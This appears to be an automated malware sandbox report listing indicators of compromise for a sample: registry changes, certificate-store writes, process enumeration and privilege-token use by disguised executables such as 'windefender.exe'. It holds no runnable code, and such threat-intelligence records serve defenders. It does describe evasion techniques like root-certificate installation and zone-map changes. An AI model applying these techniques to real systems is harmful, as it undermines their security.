Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-171 = "Central Daylight Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-591 = "Malay Peninsula Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-232 = "Hawaiian Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-222 = "Alaskan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-302 = "Romance Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "5"	BTfyksI.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-431 = "Iran Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	VCbtqsa.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-2612 = "Bougainville Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-791 = "SA Western Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-912 = "Mauritius Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-361 = "GTB Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	1UrrRz0s9XsDwfGhiB5WokUn.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b90f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e404000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec529030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae4747e000000010000000800000000c001b39667d6017f000000010000000c000000300a06082b060105050703091d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df062000000010000002000000016af57a9f676b0ab126095aa5ebadef22ab31119d644ac95cd4b93dbf3f26aeb0b0000000100000030000000440069006700690043006500720074002000420061006c00740069006d006f0072006500200052006f006f007400000009000000010000003e000000303c06082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030906082b0601050507030106082b0601050507030853000000010000007f000000307d3020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f53000000010000007f000000307d3020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c009000000010000003e000000303c06082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030906082b0601050507030106082b060105050703080b0000000100000030000000440069006700690043006500720074002000420061006c00740069006d006f0072006500200052006f006f007400000062000000010000002000000016af57a9f676b0ab126095aa5ebadef22ab31119d644ac95cd4b93dbf3f26aeb140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c7f000000010000000c000000300a06082b060105050703097e000000010000000800000000c001b39667d601030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e7549030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	lB2G1RrFYTBuxYDMBDNXqJ8n.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2072	powershell.exe
2072	powershell.exe
4904	powershell.exe
4904	powershell.exe
2864	powershell.exe
2864	powershell.exe
3828	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3828	qLgaAqw7EpH35Xsfdv9RNmRo.exe
1924	1UrrRz0s9XsDwfGhiB5WokUn.exe
1924	1UrrRz0s9XsDwfGhiB5WokUn.exe
2748	powershell.exe
2748	powershell.exe
4888	powershell.exe
4888	powershell.exe
4888	powershell.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
1040	powershell.exe
1040	powershell.exe
3200	powershell.exe
3200	powershell.exe
3200	powershell.exe
1856	powershell.exe
1856	powershell.exe
1856	powershell.exe
1556	powershell.exe
1556	powershell.exe
1556	powershell.exe
3600	Qg_Appv5.exe
3600	Qg_Appv5.exe
3600	Qg_Appv5.exe
1504	UniversalInstaller.exe
4324	powershell.exe
4324	powershell.exe
3064	UniversalInstaller.exe
3064	UniversalInstaller.exe
3064	UniversalInstaller.exe
4324	powershell.exe
3556	powershell.exe
3556	powershell.exe
3556	powershell.exe
408	powershell.exe
408	powershell.exe
408	powershell.exe
1700	powershell.exe
1700	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
3064	UniversalInstaller.exe
904	cmd.exe
904	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe
Token: SeDebugPrivilege	2072	powershell.exe
Token: SeDebugPrivilege	2380	regasm.exe
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	3828	qLgaAqw7EpH35Xsfdv9RNmRo.exe
Token: SeImpersonatePrivilege	3828	qLgaAqw7EpH35Xsfdv9RNmRo.exe
Token: SeDebugPrivilege	1924	1UrrRz0s9XsDwfGhiB5WokUn.exe
Token: SeImpersonatePrivilege	1924	1UrrRz0s9XsDwfGhiB5WokUn.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	3556	powershell.exe
Token: SeIncreaseQuotaPrivilege	3108	WMIC.exe
Token: SeSecurityPrivilege	3108	WMIC.exe
Token: SeTakeOwnershipPrivilege	3108	WMIC.exe
